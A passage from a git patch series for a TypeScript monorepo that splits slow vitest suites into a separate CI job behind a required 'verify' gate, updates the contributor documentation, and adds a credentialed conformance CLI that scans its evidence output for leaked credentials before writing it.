url.pathname === '/__direct/fence-probe' || + url.pathname === '/admin/execution-fence' || + url.pathname === '/admin/inventory') ) return policy.applicationFetch(request); const spec = specs.find( diff --git a/packages/fleet-control/test/fixtures/direct-run-state-builder.ts b/packages/fleet-control/test/fixtures/direct-run-state-builder.ts index 96c8573a..95550d86 100644 --- a/packages/fleet-control/test/fixtures/direct-run-state-builder.ts +++ b/packages/fleet-control/test/fixtures/direct-run-state-builder.ts @@ -7,6 +7,7 @@ import { join } from 'node:path'; import { preflightDirectConformance } from '../../scripts/direct-credentialed-conformance-preflight.mjs'; import { DIRECT_RESIDUAL_SURFACES, + DIRECT_SCENARIO_ARRAY_MAXIMA, DIRECT_SCENARIO_OPERATION_SLOTS, DIRECT_TEARDOWN_MAXIMA, type DirectBootstrapContext, @@ -336,6 +337,39 @@ export function auditProof() { } export function maximalScenario(): MutableScenario { + const fenceReading = () => ({ + state: 'migration-locked' as const, + mutationEpoch: MAX_COUNT, + requireMutationEpoch: false, + transitionRevision: MAX_COUNT, + }); + const fenceTransition = () => ({ + before: fenceReading(), + after: fenceReading(), + ordinal: 3, + }); + const fenceSweep = () => ({ + fence: fenceReading(), + categories: Array.from( + { length: DIRECT_SCENARIO_ARRAY_MAXIMA.inventoryCategories }, + () => ({ category: MAX_ID, class: 'standing' as const, empty: false }), + ), + observedAt: MAX_COUNT, + ordinal: 3, + }); + const fenceSweeps = () => ({ + first: fenceSweep(), + second: fenceSweep(), + intervalMs: MAX_COUNT, + }); + const fenceProbes = () => ({ + current: 'accepted' as const, + missing: 'missing' as const, + stale: 'stale' as const, + future: 'future' as const, + mutationEpoch: MAX_COUNT, + ordinal: 3, + }); const phaseCalls = Object.fromEntries( DIRECT_SCENARIO_PHASES.map((phase) => [phase, 0]), ) as MutableScenario['phaseCalls']; @@ -448,6 +482,12 @@ export function maximalScenario(): MutableScenario { ], inventories: { before: inventoryProof(), after: inventoryProof() }, audits: { before: auditProof(), after: auditProof() }, + fence: { + drain: { a: fenceTransition(), b: fenceTransition() }, + sweeps: { a: fenceSweeps(), b: fenceSweeps() }, + reopen: { a: fenceTransition(), b: fenceTransition() }, + probes: { a: fenceProbes(), b: fenceProbes() }, + }, restart: { process: { ...PROCESS }, resumedProcess: { ...RESUMED }, diff --git a/packages/fleet-control/test/fixtures/provider-world.ts b/packages/fleet-control/test/fixtures/provider-world.ts index fd4a23b5..0caec573 100644 --- a/packages/fleet-control/test/fixtures/provider-world.ts +++ b/packages/fleet-control/test/fixtures/provider-world.ts @@ -11,9 +11,11 @@ interface SqliteDatabase { exec(sql: string): void; } +export type SqliteBinding = string | number | null; + interface RecordedStatement { readonly sql: string; - readonly bindings: readonly string[]; + readonly bindings: readonly SqliteBinding[]; readonly mode: 'prepare' | 'exec'; } @@ -40,7 +42,7 @@ export class D1State { queryDatabase( sql: string, - bindings: readonly string[] = [], + bindings: readonly SqliteBinding[] = [], ): readonly Readonly>[] { const rows = this.#database.prepare(sql).all(...bindings); this.#statementLog.push({ sql, bindings: [...bindings], mode: 'prepare' }); From 73bde577c93d18ab094b4622ff017b00eb4fedac Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 13 Sep 2026 22:35:59 +0400 Subject: [PATCH 143/169] ci: run the direct scenario suites in their own job behind a verify gate The direct credentialed scenario and the offline fence suite take about thirty-five minutes together, and inside the root test run they pushed the verify job past its forty-five-minute cap. They now form the root vitest project fleet-control-direct-scenario, owned by packages/fleet-control/vitest.direct-scenario.config.ts and excluded from the package project so no run lists them twice. The root pnpm test still runs every project; the package test script runs both configs, so pnpm fleet-control:check keeps the pair. CI splits the work. The former verify job is verify-core and runs the workspace without that project. A direct-scenario job builds fleet-control, whose prebuild chain also builds breakwater and flowsafe, and runs the project on its own sixty-minute cap; the suites import flowsafe subpaths and the fleet-control package from their dists. A verify gate job depends on both, runs whether or not they succeed, and fails unless every job in its needs list reports success, so the required status check on main keeps gating on the suites without a ruleset change and a job added to needs is gating by construction; a skipped gate would count as success, which is why it always runs. The contributor and maintainer guides describe the three jobs. The root project breakwater-workers now globs its worker tests from the repository root: vitest's workspace loader overrides a project's root with the config's directory, so the package-relative glob matched nothing and pnpm test ran zero breakwater worker tests. Co-Authored-By: Claude Fable 5.1 --- .github/workflows/ci.yml | 63 +++++++++++++++++-- CONTRIBUTING.md | 5 +- docs/maintainer-guide.md | 7 ++- package.json | 2 + packages/fleet-control/package.json | 2 +- packages/fleet-control/vitest.config.ts | 12 +++- .../vitest.direct-scenario.config.ts | 26 ++++++++ vitest.breakwater-workers.config.mts | 7 +-- vitest.config.ts | 1 + 9 files changed, 110 insertions(+), 15 deletions(-) create mode 100644 packages/fleet-control/vitest.direct-scenario.config.ts diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 94cdb1de..bd3ac448 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -6,14 +6,14 @@ on: pull_request: branches: [main, dev] -# Both jobs only read the repo — and the compat job deliberately executes +# These jobs only read the repo — and the compat job deliberately executes # packages younger than the workspace release-age buffer, so the token it # can reach must stay read-only. permissions: contents: read jobs: - verify: + verify-core: runs-on: ubuntu-latest timeout-minutes: 45 steps: @@ -46,9 +46,11 @@ jobs: - name: Typecheck run: pnpm typecheck - # Root vitest workspace: every package's suite in one process. + # Root vitest workspace: every package's suite in one process, minus the + # direct scenario project, which the `direct-scenario` job below runs at + # the same time (about 35 minutes on its own). - name: Test - run: pnpm test + run: pnpm test:without-direct-scenario - name: Build run: pnpm build @@ -140,6 +142,59 @@ jobs: - name: Conformance artifacts verify (workerd) run: pnpm conformance:verify + # The direct credentialed scenario and the offline fence suite: full + # scenario runs against the reference and tenant Workers on local workerd, + # about 35 minutes, independent of every `verify-core` step. The suites + # import @proofoftech/flowsafe subpaths and the fleet-control package from + # their dists, so the job builds fleet-control (whose prebuild builds + # breakwater and flowsafe) before running them. + direct-scenario: + runs-on: ubuntu-latest + timeout-minutes: 60 + steps: + - uses: actions/checkout@v4 + + # Reads the pnpm version from package.json "packageManager". + - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0 + + - uses: actions/setup-node@v4 + with: + node-version: 22 + cache: pnpm + + - name: Install (frozen lockfile) + run: pnpm install --frozen-lockfile + + - name: Build the three packages + run: pnpm --filter @proofoftech/fleet-control build + + - name: Direct scenario suites (workerd) + run: pnpm test:direct-scenario + + # The `protect main` ruleset requires the status check named `verify`. This + # job is that check: it depends on the gating jobs and fails unless every job + # in its `needs` reports success, so a red or cancelled `direct-scenario` + # blocks a merge to main exactly as a red `verify-core` does, and a job added + # to `needs` is gating without a further edit (the assertion reads the whole + # `needs` context). `if: always()` makes it run when a + # dependency fails or is cancelled; without it the job would be skipped, + # and GitHub reports a skipped job as success for a required check. + # A dependency that timed out reports `cancelled`, and one that never ran + # reports `skipped`; both must reach the assertion below, so the job runs + # under `always()` and nothing narrower. + verify: + runs-on: ubuntu-latest + timeout-minutes: 5 + needs: [verify-core, direct-scenario] + if: always() + steps: + - name: Require every job this gate depends on to have succeeded + env: + NEEDS: ${{ toJSON(needs) }} + run: | + printf '%s' "$NEEDS" | jq -r 'to_entries[] | "\(.key): \(.value.result)"' + printf '%s' "$NEEDS" | jq -e 'to_entries | all(.value.result == "success")' > /dev/null + # Mastra compat matrix: the libraries pin behavioral contracts to # @mastra/core internals (resume-context merge-over semantics, snapshot # shape, the reprocess-part key, the six-table inventory). The supported diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 7207667b..a8f0c400 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -35,7 +35,9 @@ git clone https://github.com/ProofOfTechOrg/anchorage.git cd anchorage ``` -The verification list below mirrors the CI `verify` job in order: +The verification list below mirrors the CI `verify-core` job in order; +`pnpm test` also covers the direct scenario project that CI runs in its own +`direct-scenario` job: ```bash pnpm install --frozen-lockfile @@ -69,6 +71,7 @@ directory when a `.github/**/*.{yml,yaml}` file is staged (lint-staged); pre-push runs react-doctor on the branch's changed files (`pnpm react-doctor:diff`; bypass with `git push --no-verify`). CI also runs a non-blocking compatibility probe against the newest `@mastra/core` 1.x release. +A `verify` gate job requires both `verify-core` and `direct-scenario` to succeed. The showcase app uses mandatory absolute imports — `@/*` for `src`, `#worker/*` for worker modules, `@flowsafe/*` for deep flowsafe source diff --git a/docs/maintainer-guide.md b/docs/maintainer-guide.md index 064c4596..9badc1d2 100644 --- a/docs/maintainer-guide.md +++ b/docs/maintainer-guide.md @@ -20,7 +20,7 @@ The workspace requires Node 22.22.0 or later and pnpm 10.16 or later. `packageMa ## Verification -The commands below mirror the CI `verify` job after dependency installation, in order: +The commands below mirror the CI `verify-core` job after dependency installation, in order; `pnpm test` also covers the direct scenario project that CI runs in its own `direct-scenario` job, and a `verify` gate job requires both: ```bash pnpm github:check @@ -127,7 +127,7 @@ Retiring the `@mastra/core` patch, once a release carrying the upstream fixes is A changeset describing the patch clears itself at release. -The canary's typecheck and test steps cannot see a published-dist bundling regression: neither links Mastra's shipped output through a bundler. `pnpm --filter @proofoftech/flowsafe spike:bundle-check` is the canary's bundling proof, and against the pinned peer that role belongs to `spike:verify` and the showcase build inside `verify`. Note that its `--outdir .wrangler/bundle-check` resolves relative to the wrangler CONFIG directory, not the working directory, so the output lands in `packages/flowsafe/spike/.wrangler/bundle-check`; a working-directory-relative path silently writes one level deeper, outside the ignored path. The bundle step carries its own `continue-on-error` so an expected upstream failure still lets the tripwire suites after it run. +The canary's typecheck and test steps cannot see a published-dist bundling regression: neither links Mastra's shipped output through a bundler. `pnpm --filter @proofoftech/flowsafe spike:bundle-check` is the canary's bundling proof, and against the pinned peer that role belongs to `spike:verify` and the showcase build inside `verify-core`. Note that its `--outdir .wrangler/bundle-check` resolves relative to the wrangler CONFIG directory, not the working directory, so the output lands in `packages/flowsafe/spike/.wrangler/bundle-check`; a working-directory-relative path silently writes one level deeper, outside the ignored path. The bundle step carries its own `continue-on-error` so an expected upstream failure still lets the tripwire suites after it run. A second tripwire guards the durable agent surface. `packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts` classifies every own member of Mastra's `DurableAgent.prototype`, and fails on any member the file does not classify. On a core upgrade it therefore demands reading the new member's implementation in the installed dist before classifying it — as a guarded entry point, a delegator, a refusal, or something that cannot drive a run. Never satisfy it by widening the non-execution list without that read. It pins the inherited `Agent.prototype` members the same way, since Mastra calls the agent instance and the instance inherits both surfaces. Breakwater carries its own inventory of `Agent.prototype` in `packages/breakwater/src/agent/agent.test.ts`, classifying the same surface for what a narrowed guarded handle may expose. The maintenance contract on a core bump: the reason table in `durable-agent-runner.ts` is authoritative, the surface test is what forces the read, the runner's module comment and [Durable agents](durable-agents.md) are updated from the table in the same commit — never left to drift behind it — and Breakwater's `forwardClassified` allowlist is pruned of every name the new pin now exposes, which its own test asserts. The `@mastra/core` patch is retired or re-cut in the same commit, through the procedure above. @@ -154,3 +154,6 @@ Repository administrators separately own: - branch protection and required checks. Do not change those external controls as a side effect of an unrelated code change. +The required check on `main` is `verify`, the gate job in `ci.yml` that succeeds +only when `verify-core` and `direct-scenario` both succeed; a new gating job joins +that gate's `needs` list, not the ruleset. diff --git a/package.json b/package.json index 771fd8d5..041bca96 100644 --- a/package.json +++ b/package.json @@ -14,6 +14,8 @@ "dev": "pnpm --filter showcase dev", "test": "pnpm run architecture:check && vitest run", "test:watch": "vitest", + "test:without-direct-scenario": "pnpm run architecture:check && vitest run --project '!fleet-control-direct-scenario'", + "test:direct-scenario": "vitest run --project fleet-control-direct-scenario", "lint": "biome check .", "lint:fix": "biome check --write .", "typecheck": "pnpm -r typecheck && pnpm run typecheck:harness", diff --git a/packages/fleet-control/package.json b/packages/fleet-control/package.json index fc4e8ca4..9a32e32d 100644 --- a/packages/fleet-control/package.json +++ b/packages/fleet-control/package.json @@ -57,7 +57,7 @@ "pretypecheck": "pnpm run build", "test:credentialed": "pnpm build && node scripts/credentialed-conformance.mjs", "test:packed-consumer": "node scripts/packed-consumer-test.mjs", - "test": "vitest run", + "test": "vitest run && vitest run --config vitest.direct-scenario.config.ts", "typecheck": "tsc -p tsconfig.json --noEmit && tsc -p tsconfig.build.json --noEmit && tsc -p scripts/tsconfig.direct-worker.json" }, "dependencies": { diff --git a/packages/fleet-control/vitest.config.ts b/packages/fleet-control/vitest.config.ts index 54f45ba4..fb212243 100644 --- a/packages/fleet-control/vitest.config.ts +++ b/packages/fleet-control/vitest.config.ts @@ -1,8 +1,18 @@ -import { defineConfig } from 'vitest/config'; +import { configDefaults, defineConfig } from 'vitest/config'; export default defineConfig({ test: { include: ['test/**/*.test.ts'], + // The two direct scenario suites belong to the root project + // `fleet-control-direct-scenario` (vitest.direct-scenario.config.ts), + // which the package `test` script runs after this config and CI runs in + // its own job beside `verify-core`. Listing them here as well would run + // them twice under `pnpm test`. + exclude: [ + ...configDefaults.exclude, + 'test/direct-credentialed-scenario.test.ts', + 'test/direct-reference-fence.harness.test.ts', + ], // Timeouts here bound hangs, not durations: no title asserts its own // duration, and the in-body watchdogs, races, and vi.waitFor bounds a few // titles carry are hang detectors, not budgets. Two titles have run past diff --git a/packages/fleet-control/vitest.direct-scenario.config.ts b/packages/fleet-control/vitest.direct-scenario.config.ts new file mode 100644 index 00000000..21ec32c1 --- /dev/null +++ b/packages/fleet-control/vitest.direct-scenario.config.ts @@ -0,0 +1,26 @@ +import { defineConfig } from 'vitest/config'; + +// The direct credentialed scenario and the offline fence suite drive the +// reference and tenant Workers through full scenario runs on local workerd; +// the pair takes about 35 minutes and needs the breakwater, flowsafe and +// fleet-control dists (the suites import @proofoftech/flowsafe subpaths that +// resolve into flowsafe's dist, and the observations module imports the +// fleet-control package). They are a root project of their own so CI can run +// them in the `direct-scenario` job beside `verify-core`, while `pnpm test` +// at the root and the package `test` script still run them with everything +// else. The package project (vitest.config.ts) excludes the same two files. +// The project name below is the one the root scripts +// `test:without-direct-scenario` and `test:direct-scenario` and the CI job +// select; only the positive selection fails loudly when the names drift. +export default defineConfig({ + test: { + name: 'fleet-control-direct-scenario', + include: [ + 'test/direct-credentialed-scenario.test.ts', + 'test/direct-reference-fence.harness.test.ts', + ], + // Same hang bound as the package project; both suites set their own + // per-title caps above it. + testTimeout: 20_000, + }, +}); diff --git a/vitest.breakwater-workers.config.mts b/vitest.breakwater-workers.config.mts index d33619a9..4c9e2f36 100644 --- a/vitest.breakwater-workers.config.mts +++ b/vitest.breakwater-workers.config.mts @@ -3,12 +3,7 @@ import { fileURLToPath } from 'node:url'; import { cloudflareTest } from '@cloudflare/vitest-pool-workers'; import { defineConfig } from 'vitest/config'; -const packageRoot = fileURLToPath( - new URL('./packages/breakwater/', import.meta.url), -); - export default defineConfig({ - root: packageRoot, plugins: [ cloudflareTest({ wrangler: { @@ -23,6 +18,6 @@ export default defineConfig({ ], test: { name: 'breakwater-workers', - include: ['worker-tests/**/*.workers.test.ts'], + include: ['packages/breakwater/worker-tests/**/*.workers.test.ts'], }, }); diff --git a/vitest.config.ts b/vitest.config.ts index 736bf59a..50fea5e2 100644 --- a/vitest.config.ts +++ b/vitest.config.ts @@ -7,6 +7,7 @@ export default defineConfig({ test: { projects: [ 'packages/*/vitest.config.ts', + 'packages/fleet-control/vitest.direct-scenario.config.ts', 'vitest.*-workers.config.*', 'vitest.flowsafe-harness.config.ts', 'vitest.workerd-lifecycle.config.ts', From dc7ed23a280db78d8e25dcfa41557a023b102327 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Mon, 14 Sep 2026 02:52:36 +0400 Subject: [PATCH 144/169] feat(fleet-control): add the direct credentialed conformance CLI The direct credentialed proof has its bootstrap, scenario, run-state journal and teardown modules, and offline suites over them, but no entry point that runs them against an account, resumes after a restart, and writes an evidence artifact that a sentinel scan gates before publication. This adds one, under packages/fleet-control/scripts/. direct-credentialed-conformance-runtime.mjs exports runDirectConformance. It orchestrates injectable module seams for preflight, run-state open and inspect, bootstrap, scenario, teardown and the dist probe, imports the evidence builder, scanner and writer directly, and reads no process state; its defaults run git rev-parse HEAD for the commit field and probe dist/index.js. It admits a live mode only after local preflight, the credential checks, the dist probe and the scenario floor, then dispatches from the journal snapshot: a teardown already complete with no failure yields evidence and calls no provider; any other recorded teardown, and a failed or complete scenario, go straight to teardown; a run with no scenario, or one still in flight, is the only one that reaches bootstrap and the scenario. The evidence status and exit code come from the outcome the invocation resolves. A teardown call that returns cleaned resolves cleaned (0); otherwise the teardown phase read back from the journal snapshot tells a refusal (failed, 1) from nothing deleted (retained, 4). restart-required is 3, a refusal before admission is 2, and a sentinel hit is 5. direct-credentialed-conformance.mjs is the entry. It parses argv, calls the runtime, and prints one DIRECT_CONFORMANCE line on stdout for a resolved run the runtime does not mark stderr-only, and writes any stderr line the runtime returns when the exit code is neither 0 nor 3; argv it cannot parse exits 2 with the fixed usage line on stderr and nothing on stdout. Every exit code goes through one resolver in which an evidence failure outranks an internal error and both outrank the rest, so a late unhandled error cannot be overwritten by a completion and cannot overwrite an evidence failure. Unhandled errors and rejections take exit 1 through that resolver and write the fixed internal-error line, which carries no stack. The runtime assembles the stdout and stderr lines itself from the serialization it scanned, byte-scans and size-checks the assembled line, and returns those bytes or a fixed line; the entry writes what it returns and serializes nothing, so every byte it prints either passed that scan or is a fixed line. The lines the CLI prints without a scan are complete fixed lines held in DIRECT_FIXED_OUTPUT, and a token or invoke secret that one of them contains is refused before the dist probe, the run state and any provider call, with the fixed invalid-input line on stderr and nothing on stdout; when that fixed line would itself contain the credential, the CLI exits 2 and prints nothing. The entry parses argv before it reads anything else. For --help and --preflight it reads no credential and writes the runtime's lines as returned. For --run and --resume it hands the runtime a view of process.env that records the API token and the invoke secret when the runtime reads them, after local preflight, and writes every line through one guard that keeps what it has already written to stdout and stderr, in order, as one transcript, extends the transcript before the write, and drops a line when the transcript plus that line would contain a recorded credential. A dropped summary line sets exit code 5; a dropped stderr line leaves the resolved exit code. direct-credentialed-evidence.mjs projects the journal snapshot, the preflight facts and the outcome onto a fixed key set in a fixed order, serializes that object with a trailing newline, and scans it: every decoded key and string value, then those exact bytes, which are the bytes the file receives, for the API token, the invoke secret and a fixed literal list, and the uuid and version-id fields it lists for a plain identifier shape, so a URL or response text cannot ride in under one of those keys. A hit refuses publication and reports the sentinel class and the key path, neither of which carries a value from the refused artifact. The file lands at mode 0600 through an O_EXCL temporary file, an fsync and a byte read-back, then a rename. The run-state journal records createdAt at initialization and a resumeCount that saturates at DIRECT_RUN_MAX_RESUME_COUNT; a journal holding neither field decodes and re-emits byte-identically. inspectDirectRunState returns a journal snapshot and a close handle with no writer, and shares the platform gate, base directory and exclusive lock with openDirectRunState through attachRunState; an inspection holds that lock until it closes. Package script test:credentialed:direct builds the package and runs the entry, and root script fleet-control:credentialed:direct forwards to that script. Two new test files cover the runtime, the spawned entry and the evidence writer; the run-state suite gains titles for the metadata, resumes, inspection and lock ownership. Co-Authored-By: Claude Fable 5.1 --- package.json | 1 + packages/fleet-control/package.json | 1 + ...ect-credentialed-conformance-runtime.d.mts | 54 + ...irect-credentialed-conformance-runtime.mjs | 471 +++++ .../direct-credentialed-conformance.mjs | 85 + .../direct-credentialed-evidence.d.mts | 64 + .../scripts/direct-credentialed-evidence.mjs | 322 ++++ .../direct-credentialed-run-state.d.mts | 20 + .../scripts/direct-credentialed-run-state.mjs | 110 +- ...t-credentialed-conformance-runtime.test.ts | 1691 +++++++++++++++++ .../test/direct-credentialed-evidence.test.ts | 596 ++++++ .../direct-credentialed-run-state.test.ts | 231 +++ 12 files changed, 3642 insertions(+), 4 deletions(-) create mode 100644 packages/fleet-control/scripts/direct-credentialed-conformance-runtime.d.mts create mode 100644 packages/fleet-control/scripts/direct-credentialed-conformance-runtime.mjs create mode 100644 packages/fleet-control/scripts/direct-credentialed-conformance.mjs create mode 100644 packages/fleet-control/scripts/direct-credentialed-evidence.d.mts create mode 100644 packages/fleet-control/scripts/direct-credentialed-evidence.mjs create mode 100644 packages/fleet-control/test/direct-credentialed-conformance-runtime.test.ts create mode 100644 packages/fleet-control/test/direct-credentialed-evidence.test.ts diff --git a/package.json b/package.json index 041bca96..ac77036b 100644 --- a/package.json +++ b/package.json @@ -31,6 +31,7 @@ "architecture:check:agent-starter": "dependency-cruise packages/agent-starter/src packages/agent-starter/test packages/agent-starter/scripts", "fleet-control:check": "pnpm --filter @proofoftech/fleet-control test && pnpm --filter @proofoftech/fleet-control typecheck && pnpm --filter @proofoftech/fleet-control build", "fleet-control:credentialed": "pnpm --filter @proofoftech/fleet-control test:credentialed", + "fleet-control:credentialed:direct": "pnpm --filter @proofoftech/fleet-control test:credentialed:direct", "durability:benchmark": "pnpm --filter @proofoftech/flowsafe exec node scripts/durability-benchmark.mjs", "architecture:controls": "node --test scripts/architecture-positive-controls.test.mjs", "test:packed-breakwater": "pnpm --filter @proofoftech/breakwater test:packed-consumer", diff --git a/packages/fleet-control/package.json b/packages/fleet-control/package.json index 9a32e32d..2f979f41 100644 --- a/packages/fleet-control/package.json +++ b/packages/fleet-control/package.json @@ -56,6 +56,7 @@ "prepack": "pnpm run clean && pnpm run build", "pretypecheck": "pnpm run build", "test:credentialed": "pnpm build && node scripts/credentialed-conformance.mjs", + "test:credentialed:direct": "pnpm build && node scripts/direct-credentialed-conformance.mjs", "test:packed-consumer": "node scripts/packed-consumer-test.mjs", "test": "vitest run && vitest run --config vitest.direct-scenario.config.ts", "typecheck": "tsc -p tsconfig.json --noEmit && tsc -p tsconfig.build.json --noEmit && tsc -p scripts/tsconfig.direct-worker.json" diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.d.mts b/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.d.mts new file mode 100644 index 00000000..521f29e3 --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.d.mts @@ -0,0 +1,54 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { bootstrapDirectConformance } from './direct-credentialed-bootstrap.mjs'; +import type { preflightDirectConformance } from './direct-credentialed-conformance-preflight.mjs'; +import type { + inspectDirectRunState, + openDirectRunState, +} from './direct-credentialed-run-state.mjs'; +import type { runDirectCredentialedScenario } from './direct-credentialed-scenario.mjs'; +import type { teardownDirectReference } from './direct-credentialed-teardown.mjs'; + +export interface DirectConformanceModules { + preflight: typeof preflightDirectConformance; + openRunState: typeof openDirectRunState; + inspectRunState: typeof inspectDirectRunState; + bootstrap: typeof bootstrapDirectConformance; + scenario: typeof runDirectCredentialedScenario; + teardown: typeof teardownDirectReference; + distPresent: () => boolean; +} +export type DirectConformanceMode = 'preflight' | 'run' | 'resume' | 'help'; +export const DIRECT_CONFORMANCE_USAGE: string; +export const DIRECT_OUTPUT_PREFIX: string; +export const DIRECT_USAGE_DIAGNOSTIC: string; +export const DIRECT_INTERNAL_ERROR_DIAGNOSTIC: string; +export const DIRECT_FIXED_OUTPUT: readonly string[]; +export function parseDirectConformanceArgs( + argv: readonly string[], +): DirectConformanceMode | null; +export function resolveDirectExitCode( + current: number | null, + next: number, +): number; +export function runDirectConformance( + input: Readonly<{ + mode: DirectConformanceMode; + configPath: string | undefined; + env: Readonly>; + fetch?: typeof fetch; + delay?: (milliseconds: number) => Promise; + now?: () => number; + git?: () => string | null; + modules?: Partial; + }>, +): Promise< + Readonly<{ + exitCode: number; + summary: object; + evidencePath: string | null; + stdoutLine: string | null; + stderrLine: string | null; + stderrOnly?: true; + }> +>; diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.mjs new file mode 100644 index 00000000..0013bc33 --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.mjs @@ -0,0 +1,471 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { spawnSync } from 'node:child_process'; +import { existsSync } from 'node:fs'; +import { dirname, join, resolve } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { + bootstrapDirectConformance, + DirectBootstrapError, +} from './direct-credentialed-bootstrap.mjs'; +import { preflightDirectConformance } from './direct-credentialed-conformance-preflight.mjs'; +import { + buildDirectEvidence, + DIRECT_EVIDENCE_LITERALS, + DirectEvidenceWriteError, + inspectDirectEvidence, + writeDirectEvidence, +} from './direct-credentialed-evidence.mjs'; +import { validateProviderAuth } from './direct-credentialed-provider.mjs'; +import { + DirectRunStateError, + inspectDirectRunState, + openDirectRunState, +} from './direct-credentialed-run-state.mjs'; +import { runDirectCredentialedScenario } from './direct-credentialed-scenario.mjs'; +import { DIRECT_SCENARIO_MIN_INVOCATIONS } from './direct-credentialed-scenario-budget.mjs'; +import { teardownDirectReference } from './direct-credentialed-teardown.mjs'; + +const packageDirectory = resolve(dirname(fileURLToPath(import.meta.url)), '..'); +export const DIRECT_CONFORMANCE_USAGE = + 'Usage: pnpm fleet-control:credentialed:direct -- [--preflight|--run|--resume|--help]'; +export const DIRECT_OUTPUT_PREFIX = 'DIRECT_CONFORMANCE '; +const usageSummary = Object.freeze({ code: 'usage' }); +const internalErrorSummary = Object.freeze({ code: 'internal-error' }); +const evidenceFailureSummaries = Object.freeze({ + false: Object.freeze({ code: 'evidence-failed', evidenceWritten: false }), + true: Object.freeze({ code: 'evidence-failed', evidenceWritten: true }), +}); +export const DIRECT_USAGE_DIAGNOSTIC = `${JSON.stringify(usageSummary)}\n`; +export const DIRECT_INTERNAL_ERROR_DIAGNOSTIC = `${JSON.stringify(internalErrorSummary)}\n`; +const evidenceFailureLines = Object.freeze( + Object.fromEntries( + Object.entries(evidenceFailureSummaries).map(([written, summary]) => { + const stderrLine = `${JSON.stringify(summary)}\n`; + return [ + written, + Object.freeze({ + stdoutLine: `${DIRECT_OUTPUT_PREFIX}${stderrLine}`, + stderrLine, + }), + ]; + }), + ), +); +const invalidInputLines = Object.freeze( + Object.fromEntries( + [ + 'CLOUDFLARE_ACCOUNT_ID', + 'CLOUDFLARE_API_TOKEN', + 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', + ].map((variable) => [ + variable, + `${JSON.stringify({ code: 'invalid-input', variable })}\n`, + ]), + ), +); +/** A silent exit 2 means a credential collides with the CLI's fixed vocabulary. */ +export const DIRECT_FIXED_OUTPUT = Object.freeze([ + ...Object.values(evidenceFailureLines).flatMap((lines) => + Object.values(lines), + ), + DIRECT_USAGE_DIAGNOSTIC, + DIRECT_INTERNAL_ERROR_DIAGNOSTIC, + ...Object.values(invalidInputLines), +]); + +export function parseDirectConformanceArgs(argv) { + const args = argv[0] === '--' ? argv.slice(1) : argv; + if (args.length === 0) return 'preflight'; + if ( + args.length === 1 && + ['--preflight', '--run', '--resume', '--help'].includes(args[0]) + ) + return args[0].slice(2); + return null; +} + +export function resolveDirectExitCode(current, next) { + const rank = (code) => (code === 5 ? 2 : code === 1 ? 1 : 0); + return current === null || rank(next) > rank(current) ? next : current; +} + +function gitCommit(env) { + const result = spawnSync('git', ['rev-parse', 'HEAD'], { + cwd: packageDirectory, + env: { PATH: env.PATH }, + timeout: 2000, + encoding: 'utf8', + stdio: ['ignore', 'pipe', 'ignore'], + }); + return result.status === 0 && result.signal === null + ? result.stdout.trim() + : null; +} + +function commitFrom(read) { + try { + const value = read(); + return typeof value === 'string' && /^[0-9a-f]{40}$/u.test(value) + ? value + : null; + } catch { + return null; + } +} + +function validEnvironment(value) { + return ( + typeof value === 'string' && + value.length > 0 && + value === value.trim() && + ![...value].some( + (character) => + character.charCodeAt(0) <= 31 || character.charCodeAt(0) === 127, + ) + ); +} + +function timestamp(now) { + const value = now(); + if (!Number.isSafeInteger(value) || value < 0) + throw new Error('internal-error'); + const time = new Date(value).toISOString(); + if (!/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/u.test(time)) + throw new Error('internal-error'); + return time; +} + +export async function runDirectConformance(input) { + const modules = { + preflight: preflightDirectConformance, + openRunState: openDirectRunState, + inspectRunState: inspectDirectRunState, + bootstrap: bootstrapDirectConformance, + scenario: runDirectCredentialedScenario, + teardown: teardownDirectReference, + distPresent: () => existsSync(join(packageDirectory, 'dist', 'index.js')), + ...input.modules, + }; + const now = input.now ?? Date.now; + const sentinels = { + secrets: [], + literals: DIRECT_EVIDENCE_LITERALS, + }; + const byteHit = (line) => + [...sentinels.secrets, ...sentinels.literals].some( + (value) => + typeof value === 'string' && value.length > 0 && line.includes(value), + ); + const result = ( + exitCode, + summary, + evidencePath = null, + stderrOnly = false, + ) => { + const inspect = (value) => { + const inspected = inspectDirectEvidence(value, sentinels); + const stderrLine = inspected.serialized; + return { + ...inspected, + stdoutLine: `${DIRECT_OUTPUT_PREFIX}${stderrLine}`, + stderrLine, + }; + }; + let lines = inspect(summary); + summary = JSON.parse(lines.serialized); + if (!stderrOnly && lines.hit) { + exitCode = 5; + summary = { + code: 'evidence-failed', + ...(summary.code === 'evidence-failed' ? {} : lines.hit), + evidenceWritten: summary.evidenceWritten ?? false, + }; + lines = inspect(summary); + } + if (!stderrOnly && Buffer.byteLength(lines.stdoutLine) > 4096) { + lines = inspect( + exitCode === 5 + ? evidenceFailureSummaries[summary.evidenceWritten === true] + : internalErrorSummary, + ); + if (exitCode !== 5) exitCode = 1; + } + if (stderrOnly) { + const silent = + lines.hit || + byteHit(lines.stderrLine) || + Buffer.byteLength(lines.stdoutLine) > 4096; + lines = { + stdoutLine: null, + stderrLine: silent + ? null + : (invalidInputLines[summary.variable] ?? null), + }; + } else if (lines.hit || byteHit(lines.stdoutLine)) { + exitCode = 5; + lines = evidenceFailureLines[summary.evidenceWritten === true]; + } + return { + exitCode, + summary: lines.stderrLine ? JSON.parse(lines.stderrLine) : summary, + 